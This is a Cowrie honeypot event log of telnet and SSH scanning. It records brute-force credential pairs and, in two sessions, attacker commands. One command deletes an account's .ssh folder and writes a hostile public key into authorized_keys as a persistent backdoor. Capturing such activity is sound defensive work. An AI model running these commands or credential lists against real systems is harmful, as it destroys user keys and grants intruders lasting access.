{"eventid":"cowrie.session.closed","duration":43.00494718551636,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:10.444451Z","src_ip":"134.209.8.29","session":"b450ce0a25ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90995693206787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:13.286517Z","src_ip":"194.233.64.34","session":"4802ef3fe573","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":35790,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5f5eb54370e","protocol":"telnet","message":"New connection: 134.209.8.29:35790 (159.203.135.109:23) [session: a5f5eb54370e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:13.606652Z"}
{"eventid":"cowrie.session.closed","duration":31.827223539352417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:13.706097Z","src_ip":"194.233.64.34","session":"96d5fc1d28cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.39094114303589,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:19.652602Z","src_ip":"134.209.8.29","session":"7e95a0b83655","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":33286,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cab34de84de","protocol":"ssh","message":"New connection: 147.50.231.135:33286 (10.17.0.5:22) [session: 9cab34de84de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:21.314847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:21.319833Z","src_ip":"147.50.231.135","session":"9cab34de84de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:21.800658Z","src_ip":"147.50.231.135","session":"9cab34de84de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51336,"dst_ip":"159.203.135.109","dst_port":23,"session":"683d8a634348","protocol":"telnet","message":"New connection: 134.209.8.29:51336 (159.203.135.109:23) [session: 683d8a634348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:22.121421Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracletest","message":"login attempt [oracle/oracletest] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:22.874398Z","src_ip":"147.50.231.135","session":"9cab34de84de","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:23.452287Z","src_ip":"147.50.231.135","session":"9cab34de84de","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:23.455836Z","src_ip":"147.50.231.135","session":"9cab34de84de","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:23.460409Z","src_ip":"147.50.231.135","session":"9cab34de84de","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:23.728015Z","src_ip":"147.50.231.135","session":"9cab34de84de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51354,"dst_ip":"159.203.135.109","dst_port":23,"session":"00be4fea5e79","protocol":"telnet","message":"New connection: 134.209.8.29:51354 (159.203.135.109:23) [session: 00be4fea5e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:23.897345Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51350,"dst_ip":"159.203.135.109","dst_port":23,"session":"866bc375325a","protocol":"telnet","message":"New connection: 134.209.8.29:51350 (159.203.135.109:23) [session: 866bc375325a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:24.167357Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:24.294319Z","src_ip":"147.50.231.135","session":"9cab34de84de","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:24.298451Z","src_ip":"147.50.231.135","session":"9cab34de84de","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:24.565044Z","src_ip":"147.50.231.135","session":"9cab34de84de","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:24.569102Z","src_ip":"147.50.231.135","session":"9cab34de84de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":33300,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cfa928f36a7","protocol":"ssh","message":"New connection: 147.50.231.135:33300 (10.17.0.5:22) [session: 7cfa928f36a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:24.830975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:24.837687Z","src_ip":"147.50.231.135","session":"7cfa928f36a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:25.101311Z","src_ip":"147.50.231.135","session":"7cfa928f36a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:26.175460Z","src_ip":"147.50.231.135","session":"7cfa928f36a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:27.440635Z","src_ip":"147.50.231.135","session":"7cfa928f36a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":33316,"dst_ip":"10.17.0.5","dst_port":22,"session":"6641c5481da7","protocol":"ssh","message":"New connection: 147.50.231.135:33316 (10.17.0.5:22) [session: 6641c5481da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:27.702121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:27.707154Z","src_ip":"147.50.231.135","session":"6641c5481da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:27.974377Z","src_ip":"147.50.231.135","session":"6641c5481da7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:29.061415Z","src_ip":"147.50.231.135","session":"6641c5481da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:29.328548Z","src_ip":"147.50.231.135","session":"9cab34de84de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:29.333252Z","src_ip":"147.50.231.135","session":"6641c5481da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.530036926269531,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:30.697265Z","src_ip":"134.209.8.29","session":"866bc375325a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":43526,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe40ce57b7d4","protocol":"ssh","message":"New connection: 150.95.157.171:43526 (10.17.0.5:22) [session: fe40ce57b7d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:33.520034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:33.525889Z","src_ip":"150.95.157.171","session":"fe40ce57b7d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:33.676900Z","src_ip":"150.95.157.171","session":"fe40ce57b7d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwezxc","message":"login attempt [ubuntu/123qwezxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:34.296139Z","src_ip":"150.95.157.171","session":"fe40ce57b7d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:35.454030Z","src_ip":"150.95.157.171","session":"fe40ce57b7d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":49594,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1c31a95bc1a","protocol":"telnet","message":"New connection: 134.209.8.29:49594 (159.203.135.109:23) [session: c1c31a95bc1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:39.813787Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":56810,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f21f8a50db3","protocol":"ssh","message":"New connection: 34.135.200.178:56810 (10.17.0.5:22) [session: 0f21f8a50db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:45.011429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:45.017700Z","src_ip":"34.135.200.178","session":"0f21f8a50db3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:45.052521Z","src_ip":"34.135.200.178","session":"0f21f8a50db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":37146,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b29c5e87496","protocol":"telnet","message":"New connection: 134.209.8.29:37146 (159.203.135.109:23) [session: 5b29c5e87496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:45.197517Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracletest","message":"login attempt [oracle/oracletest] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:45.220659Z","src_ip":"34.135.200.178","session":"0f21f8a50db3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:45.345297Z","src_ip":"34.135.200.178","session":"0f21f8a50db3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:45.348851Z","src_ip":"34.135.200.178","session":"0f21f8a50db3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:45.353307Z","src_ip":"34.135.200.178","session":"0f21f8a50db3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:45.393114Z","src_ip":"34.135.200.178","session":"0f21f8a50db3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:45.558835Z","src_ip":"34.135.200.178","session":"0f21f8a50db3","protocol":"ssh"}
